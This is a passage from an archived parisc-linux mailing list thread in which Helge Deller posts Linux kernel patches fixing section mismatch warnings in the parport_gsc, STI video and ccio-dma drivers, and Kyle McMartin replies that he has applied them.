	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:07:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12688-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:07:29 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 9588D7DD55
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:07:28 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 16:07:27 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp037) with SMTP; 27 May 2007 18:07:27 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9JRvDwhJQEVsxejDZnVptEpKNzg2NQL0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24571

Hi Kyle,

this patch fixes the section mismatch in parport_gsc.c:
WARNING: drivers/built-in.o(.text.parport_init_chip+0xc8): Section mismatch: reference to .init.data:parport_count (after 'parport_init_chip')

Please apply, Helge

    Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index 17bf993..43652ba 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -350,7 +350,7 @@ struct parport *__devinit parport_gsc_pr
 
 #define PARPORT_GSC_OFFSET 0x800
 
-static int __initdata parport_count;
+static int __devinitdata parport_count;
 
 static int __devinit parport_init_chip(struct parisc_device *dev)
 {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in parisc STI
	video drivers
Date: Sun, 27 May 2007 18:10:25 +0200
Lines: 220
Approved: news@gmane.org
Message-ID: <200705271810.25621.deller__41915.1026443162$1416624367$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624367 23988 80.91.229.3 (22 Nov 2014 02:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:10:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx106) with SMTP; 27 May 2007 18:10:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB5D27DD63;
	Sun, 27 May 2007 10:10:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12954-10; Sun, 27 May 2007 10:10:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5401F7DD64;
	Sun, 27 May 2007 10:10:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC7D67DD5E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:10:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13011-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:10:29 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4E43D7DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:10:28 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 16:10:26 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp020) with SMTP; 27 May 2007 18:10:26 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tphrfjdJPjltz+rBOTU2MzczMTE2Nckr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24572

Hi Kyle,

this patch fixes various section mismatches in the sti graphics driver:
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xac): Section mismatch: reference to .init.text:sti_try_rom_generic (after 'sticore_pci_init')
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xe4): Section mismatch: reference to .init.text:sticore_check_for_default_sti (after 'sticore_pci_init')
WARNING: drivers/built-in.o(.text.sti_get_rom+0x18): Section mismatch: reference to .init.text:sti_init_roms (after 'sti_get_rom')
(and others).

Basically it's a replacement of __init by __devinit.
Please apply, Helge

    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 717b360..f458a43 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -240,7 +240,7 @@ static void sti_flush(unsigned long from
 	flush_icache_range(from, from+len);
 }
 
-void __init
+void __devinit
 sti_rom_copy(unsigned long base, unsigned long count, void *dest)
 {
 	unsigned long dest_len = count;
@@ -269,7 +269,7 @@ sti_rom_copy(unsigned long base, unsigne
 static char default_sti_path[21] __read_mostly;
 
 #ifndef MODULE
-static int __init sti_setup(char *str)
+static int __devinit sti_setup(char *str)
 {
 	if (str)
 		strlcpy (default_sti_path, str, sizeof (default_sti_path));
@@ -288,12 +288,12 @@ __setup("sti=", sti_setup);
 
 
 
-static char __initdata	*font_name[MAX_STI_ROMS] = { "VGA8x16", };
-static int __initdata	font_index[MAX_STI_ROMS], 
-			font_height[MAX_STI_ROMS],
-			font_width[MAX_STI_ROMS];
+static char __devinitdata	*font_name[MAX_STI_ROMS] = { "VGA8x16", };
+static int __devinitdata	font_index[MAX_STI_ROMS], 
+				font_height[MAX_STI_ROMS],
+				font_width[MAX_STI_ROMS];
 #ifndef MODULE
-static int __init sti_font_setup(char *str)
+static int __devinit sti_font_setup(char *str)
 {
 	char *x;
 	int i = 0;
@@ -346,7 +346,7 @@ __setup("sti_font=", sti_font_setup);
 
 
 	
-static void __init
+static void __devinit
 sti_dump_globcfg(struct sti_glob_cfg *glob_cfg, unsigned int sti_mem_request)
 {
 	struct sti_glob_cfg_ext *cfg;
@@ -386,7 +386,7 @@ sti_dump_globcfg(struct sti_glob_cfg *gl
 		cfg->sti_mem_addr, sti_mem_request));
 }
 
-static void __init
+static void __devinit
 sti_dump_outptr(struct sti_struct *sti)
 {
 	DPRINTK((KERN_INFO
@@ -400,7 +400,7 @@ sti_dump_outptr(struct sti_struct *sti)
 		 sti->outptr.attributes));
 }
 
-static int __init
+static int __devinit
 sti_init_glob_cfg(struct sti_struct *sti,
 	    unsigned long rom_address, unsigned long hpa)
 {
@@ -482,7 +482,7 @@ sti_init_glob_cfg(struct sti_struct *sti
 }
 
 #ifdef CONFIG_FB
-struct sti_cooked_font * __init
+struct sti_cooked_font * __devinit
 sti_select_fbfont(struct sti_cooked_rom *cooked_rom, const char *fbfont_name)
 {
 	const struct font_desc *fbfont;
@@ -538,14 +538,14 @@ sti_select_fbfont(struct sti_cooked_rom 
 	return cooked_font;
 }
 #else
-struct sti_cooked_font * __init
+struct sti_cooked_font * __devinit
 sti_select_fbfont(struct sti_cooked_rom *cooked_rom, const char *fbfont_name)
 {
 	return NULL;
 }
 #endif
 
-struct sti_cooked_font * __init
+struct sti_cooked_font * __devinit
 sti_select_font(struct sti_cooked_rom *rom,
 	    int (*search_font_fnc) (struct sti_cooked_rom *,int,int) )
 {
@@ -572,7 +572,7 @@ sti_select_font(struct sti_cooked_rom *r
 }
 
 
-static void __init 
+static void __devinit 
 sti_dump_rom(struct sti_rom *rom)
 {
 	printk(KERN_INFO "    id %04x-%04x, conforms to spec rev. %d.%02x\n",
@@ -590,7 +590,7 @@ sti_dump_rom(struct sti_rom *rom)
 }
 
 
-static int __init 
+static int __devinit 
 sti_cook_fonts(struct sti_cooked_rom *cooked_rom,
 			struct sti_rom *raw_rom)
 {
@@ -625,7 +625,7 @@ sti_cook_fonts(struct sti_cooked_rom *co
 }
 
 
-static int __init 
+static int __devinit 
 sti_search_font(struct sti_cooked_rom *rom, int height, int width)
 {
 	struct sti_cooked_font *font;
@@ -642,7 +642,7 @@ sti_search_font(struct sti_cooked_rom *r
 #define BMODE_RELOCATE(offset)		offset = (offset) / 4;
 #define BMODE_LAST_ADDR_OFFS		0x50
 
-static void * __init
+static void * __devinit
 sti_bmode_font_raw(struct sti_cooked_font *f)
 {
 	unsigned char *n, *p, *q;
@@ -660,7 +660,7 @@ sti_bmode_font_raw(struct sti_cooked_fon
 	return n + 3;
 }
 
-static void __init
+static void __devinit
 sti_bmode_rom_copy(unsigned long base, unsigned long count, void *dest)
 {
 	unsigned long dest_len = count;
@@ -675,7 +675,7 @@ sti_bmode_rom_copy(unsigned long base, u
 	sti_flush(dest_start, dest_len);
 }
 
-static struct sti_rom * __init
+static struct sti_rom * __devinit
 sti_get_bmode_rom (unsigned long address)
 {
 	struct sti_rom *raw;
@@ -711,7 +711,7 @@ sti_get_bmode_rom (unsigned long address
 	return raw;
 }
 
-struct sti_rom * __init
+struct sti_rom * __devinit
 sti_get_wmode_rom (unsigned long address)
 {
 	struct sti_rom *raw;
@@ -727,7 +727,7 @@ sti_get_wmode_rom (unsigned long address
 	return raw;
 }
 
-int __init
+int __devinit
 sti_read_rom(int wordmode, struct sti_struct *sti, unsigned long address)
 {
 	struct sti_cooked_rom *cooked;
@@ -783,7 +783,7 @@ out_err:
 	return 0;
 }
 
-static struct sti_struct * __init
+static struct sti_struct * __devinit
 sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
 {
 	struct sti_struct *sti;
@@ -898,7 +898,7 @@ out_err:
 	return NULL;
 }
 
-static void __init sticore_check_for_default_sti(struct sti_struct *sti, char *path)
+static void __devinit sticore_check_for_default_sti(struct sti_struct *sti, char *path)
 {
 	if (strcmp (path, default_sti_path) == 0)
 		default_sti = sti;
@@ -909,7 +909,7 @@ static void __init sticore_check_for_def
  * in the additional address field addr[1] while on
  * older Systems the PDC stores it in page0->proc_sti 
  */
-static int __init sticore_pa_init(struct parisc_device *dev)
+static int __devinit sticore_pa_init(struct parisc_device *dev)
 {
 	char pa_path[21];
 	struct sti_struct *sti = NULL;
@@ -1015,7 +1015,7 @@ static struct parisc_driver pa_sti_drive
 
 static int sticore_initialized __read_mostly;
 
-static void __init sti_init_roms(void)
+static void __devinit sti_init_roms(void)
 {
 	if (sticore_initialized)
 		return;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] fix section mismatch in parport_gsc
Date: Sun, 27 May 2007 12:15:59 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20070527161559.GB25860__10627.7460502044$1416624367$gmane$org@fattire.cabal.ca>
References: <200705271807.25326.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624367 23991 80.91.229.3 (22 Nov 2014 02:46:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:16:02 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx034) with SMTP; 27 May 2007 18:16:02 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 32BC258408E;
	Sun, 27 May 2007 12:16:00 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C48FA58408C;
	Sun, 27 May 2007 12:15:59 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 7DAB3837DB; Sun, 27 May 2007 12:15:59 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271807.25326.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rdswdXFAeWU3n62TZm9nqGMrL0tsZo3j
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24573

On Sun, May 27, 2007 at 06:07:25PM +0200, Helge Deller wrote:
> Hi Kyle,
> 
> this patch fixes the section mismatch in parport_gsc.c:
> WARNING: drivers/built-in.o(.text.parport_init_chip+0xc8): Section mismatch: reference to .init.data:parport_count (after 'parport_init_chip')
> 
> Please apply, Helge
> 

applied



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] fix section mismatch in parisc STI video drivers
Date: Sun, 27 May 2007 12:16:16 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <20070527161616.GC25860__48539.9479432546$1416624368$gmane$org@fattire.cabal.ca>
References: <200705271810.25621.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624368 23993 80.91.229.3 (22 Nov 2014 02:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:16:18 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx026) with SMTP; 27 May 2007 18:16:18 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B39CB58408E;
	Sun, 27 May 2007 12:16:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4F95458408C;
	Sun, 27 May 2007 12:16:17 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 16E52837DB; Sun, 27 May 2007 12:16:17 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271810.25621.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hMsrZlpveSE5j76WZHQhOH52IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24574

On Sun, May 27, 2007 at 06:10:25PM +0200, Helge Deller wrote:
> Please apply, Helge
> 
>     Signed-off-by: Helge Deller <deller@gmx.de>
> 

applied after fixing trailing whitespace



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in ccio-dma
Date: Sun, 27 May 2007 18:20:47 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <200705271820.48016.deller__25467.0396484018$1416624368$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624368 23999 80.91.229.3 (22 Nov 2014 02:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:21:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 27 May 2007 18:21:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57CDC7DD88;
	Sun, 27 May 2007 10:20:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13503-10; Sun, 27 May 2007 10:20:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 007007DD8A;
	Sun, 27 May 2007 10:20:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A575F7DD76
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:20:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13503-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:20:50 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 623CB7DD65
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 10:20:50 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 16:20:49 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp038) with SMTP; 27 May 2007 18:20:49 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1Z1gcz83eWU7l7eUfHVzv185U3U4N086
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24575

Hi Kyle,

this fixes section mismatches in ccio-dma.
Additionally, mark parisc_device_id table const.

Please apply, Helge

    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 1459ca8..b3c4dbf 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1227,7 +1227,7 @@ ccio_get_iotlb_size(struct parisc_device
 #endif /* 0 */
 
 /* We *can't* support JAVA (T600). Venture there at your own risk. */
-static struct parisc_device_id ccio_tbl[] = {
+static const struct parisc_device_id ccio_tbl[] = {
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, U2_IOA_RUNWAY, 0xb }, /* U2 */
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, UTURN_IOA_RUNWAY, 0xb }, /* UTurn */
 	{ 0, }
@@ -1370,7 +1370,7 @@ ccio_ioc_init(struct ioc *ioc)
 	}
 }
 
-static void
+static void __init
 ccio_init_resource(struct resource *res, char *name, void __iomem *ioaddr)
 {
 	int result;
@@ -1537,7 +1537,7 @@ int ccio_request_resource(const struct p
  * If so, initialize the chip and tell other partners in crime they
  * have work to do.
  */
-static int ccio_probe(struct parisc_device *dev)
+static int __init ccio_probe(struct parisc_device *dev)
 {
 	int i;
 	struct ioc *ioc, **ioc_p = &ioc_list;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] fix section mismatch in ccio-dma
Date: Sun, 27 May 2007 12:37:04 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20070527163704.GD25860__18297.797002788$1416624368$gmane$org@fattire.cabal.ca>
References: <200705271820.48016.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624368 24001 80.91.229.3 (22 Nov 2014 02:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 16:37:07 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx044) with SMTP; 27 May 2007 18:37:07 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 112CE58408E;
	Sun, 27 May 2007 12:37:05 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id ADBA358408C;
	Sun, 27 May 2007 12:37:04 -0400 (EDT)
